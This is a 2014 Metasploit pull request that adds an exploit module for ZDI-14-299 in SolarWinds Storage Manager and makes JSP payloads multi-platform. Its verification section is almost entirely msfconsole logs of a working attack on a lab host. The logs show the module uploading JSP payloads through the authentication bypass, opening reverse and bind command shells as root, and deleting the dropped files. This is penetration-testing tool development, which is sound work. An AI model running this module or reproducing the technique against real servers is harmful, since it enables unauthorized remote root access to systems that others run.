rapid7/metasploit-framework — pull request #3727 by jvazquez-r7 (2014-08-31 06:31:42+00:00)
Title: Module for ZDI-14-299 SolarWinds Storage Manager AND Msf::Payload::JSP

* Adds module for ZDI-14-299: Tested on Solarwinds Store Manager Server 5.1.0 and 5.7.1 on Windows 32 bits, Windows 64 bits and Linux 64 bits operating systems.
* Modify ```Msf::Payload::JSP``` to make the JSP payloads multi platform, allowing to guess the system shell after retrieving the target os with Java.
* Modifies old exploits using JSP payloads to initialize the SHELL option with ```DefaultOptions``` and keep the old behavior (providing system shell through datastore instead of autodetect).

Verification
---------------

- [ ] Install Win 7 SP1 64 bits or CentOS 64 bits
- [ ] Install Solarwinds Store Manager Server (for windows: http://downloads.solarwinds.com/solarwinds/Release/StorageManager/5.7.1/Storage_Manager_Server-windows-x86_64-5.7.1.zip) (for linux: http://downloads.solarwinds.com/solarwinds/Release/StorageManager/5.7.1/Storage_Manager_Server-linux-x86_64-5.7.1.zip)
- [ ] Try the module, ensure you get shells and the uploaded JSP are deleted

```
msf exploit(solarwinds_store_manager_auth_filter) > check
[+] 172.16.158.240:9000 - The target is vulnerable.
msf exploit(solarwinds_store_manager_auth_filter) > exploit

[*] Started reverse handler on 172.16.158.1:4444
[*] 172.16.158.240:9000 - Uploading Information Gathering JSP aTezmIp5NWEzUBzW2Dk.jsp...
[+] 172.16.158.240:9000 - JSP payload uploaded successfully
[+] 172.16.158.240:9000 - Working directory found in /opt/Storage_Manager_Server/webapps/ROOT/
[*] 172.16.158.240:9000 - Uploading JSP payload rOWe3EcBhHTRpiMSb.jsp...
[+] 172.16.158.240:9000 - JSP payload uploaded successfully
[*] 172.16.158.240:9000 - Executing payload...
[*] Command shell session 2 opened (172.16.158.1:4444 -> 172.16.158.240:49521) at 2014-08-31 01:10:39 -0500
[+] Deleted /opt/Storage_Manager_Server/webapps/ROOT/aTezmIp5NWEzUBzW2Dk.jsp
[+] Deleted /opt/Storage_Manager_Server/webapps/ROOT/rOWe3EcBhHTRpiMSb.jsp

2162022319
fGtuUnZJxNCipFdVVmmOxmpaUTtcfoxg
lpwGAfBWPGIrvqPhuVyUuymJUTQzxLzG
IxLbzPXMoOZojJyDkcKvQZudGSSUVGmk
id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
pwd
/opt/Storage_Manager_Server
cd /opt/Storage_Manager_Server/webapps/ROOT/
ls aTezmIp5NWEzUBzW2Dk.jsp
ls rOWe3EcBhHTRpiMSb.jsp
ls
9BQKHkvY.jsp
bin
css
favicon.ico
help
history
images
index.jsp
jmib
jsp
logs
menu-images
META-INF
ModWidgetPanel.swf
output
package
playerProductInstall.swf
publish
releasemod
scripts
Server-log4j.properties
startup
ThinContainer.swf
upload
WEB-INF
yui
^C
Abort session 2? [y/N] y
```

- [ ] Ensure you can also use the jsp_shell_bind_tcp payload

```
msf exploit(solarwinds_store_manager_auth_filter) > set payload java/jsp_shell_bind_tcp
payload => java/jsp_shell_bind_tcp
msf exploit(solarwinds_store_manager_auth_filter) > show options

Module options (exploit/multi/http/solarwinds_store_manager_auth_filter):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOST 172.16.158.240 yes The target address
RPORT 9000 yes The target port
VHOST no HTTP server virtual host

Payload options (java/jsp_shell_bind_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LPORT 4444 yes The listen port
RHOST 172.16.158.240 no The target address
SHELL no The system shell to use.

Exploit target:

Id Name
-- ----
0 Solarwinds Store Manager <= 5.7.1

msf exploit(solarwinds_store_manager_auth_filter) > rexploit
[*] Reloading module...

[*] Started bind handler
[*] 172.16.158.240:9000 - Uploading Information Gathering JSP m6ZhTyFjyDfyW.jsp...
[+] 172.16.158.240:9000 - JSP payload uploaded successfully
[+] 172.16.158.240:9000 - Working directory found in /opt/Storage_Manager_Server/webapps/ROOT/
[*] 172.16.158.240:9000 - Uploading JSP payload 2qmmoD3gc9T1sh9UTP4s9m3EbrEBv9.jsp...
[+] 172.16.158.240:9000 - JSP payload uploaded successfully
[*] 172.16.158.240:9000 - Executing payload...
[*] Command shell session 3 opened (172.16.158.1:56953 -> 172.16.158.240:4444) at 2014-08-31 01:28:02 -0500
[+] Deleted /opt/Storage_Manager_Server/webapps/ROOT/m6ZhTyFjyDfyW.jsp
[+] Deleted /opt/Storage_Manager_Server/webapps/ROOT/2qmmoD3gc9T1sh9UTP4s9m3EbrEBv9.jsp

1300506541
llZmVhiYLOocioKCTzBzmheUylUQfqSa
TtzxsSTBZhMTScPmOyAvEYOtVJxJwVXq
IBfHypFRILzGfkOqhDJDUPiHppfZYNAz
id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
^C
Abort session 3? [y/N] y

```

- [ ] Ensure you can provide the SHELL option and a session will be available only if it is correct.

Invalid SHELL

```
msf exploit(solarwinds_store_manager_auth_filter) > set SHELL cmd.exe
SHELL => cmd.exe
msf exploit(solarwinds_store_manager_auth_filter) > exploit

[*] Started bind handler
[*] 172.16.158.240:9000 - Uploading Information Gathering JSP gt1X06qt8vSeyCWXZCkPx3.jsp...
[+] 172.16.158.240:9000 - JSP payload uploaded successfully
[+] 172.16.158.240:9000 - Working directory found in /opt/Storage_Manager_Server/webapps/ROOT/
[*] 172.16.158.240:9000 - Uploading JSP payload gV8FBnBvD61.jsp...
[+] 172.16.158.240:9000 - JSP payload uploaded successfully
[*] 172.16.158.240:9000 - Executing payload...
[*] Command shell session 4 opened (172.16.158.1:56960 -> 172.16.158.240:4444) at 2014-08-31 01:29:26 -0500

id

id
ls
^C[!] This exploit may require manual cleanup of '/opt/Storage_Manager_Server/webapps/ROOT/gt1X06qt8vSeyCWXZCkPx3.jsp' on the target
[!] This exploit may require manual cleanup of '/opt/Storage_Manager_Server/webapps/ROOT/gV8FBnBvD61.jsp' on the target
```

Valid SHELL

```
msf exploit(solarwinds_store_manager_auth_filter) > set SHELL /bin/sh
SHELL => /bin/sh
msf exploit(solarwinds_store_manager_auth_filter) > exploit

[*] Started bind handler
[*] 172.16.158.240:9000 - Uploading Information Gathering JSP MX0zmUF59q5akw0PlxFk0leLIO.jsp...
[+] 172.16.158.240:9000 - JSP payload uploaded successfully
[+] 172.16.158.240:9000 - Working directory found in /opt/Storage_Manager_Server/webapps/ROOT/
[*] 172.16.158.240:9000 - Uploading JSP payload aDXpF9vdhXliE.jsp...
[+] 172.16.158.240:9000 - JSP payload uploaded successfully
[*] 172.16.158.240:9000 - Executing payload...
[*] Command shell session 5 opened (172.16.158.1:56967 -> 172.16.158.240:4444) at 2014-08-31 01:29:59 -0500
[+] Deleted /opt/Storage_Manager_Server/webapps/ROOT/MX0zmUF59q5akw0PlxFk0leLIO.jsp
[+] Deleted /opt/Storage_Manager_Server/webapps/ROOT/aDXpF9vdhXliE.jsp

666355191
rjkUtdnZhLxpGfpiOZlvRHXXZjSjqLzS
mpvsQlqcBSiexDDNupGBxPjpiouglETq
BHojnnkwrOICGXwyutbIsevcCXMQFBuW
id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
^C
Abort session 5? [y/N] y

[*] 172.16.158.240 - Command shell session 5 closed. Reason: User exit
```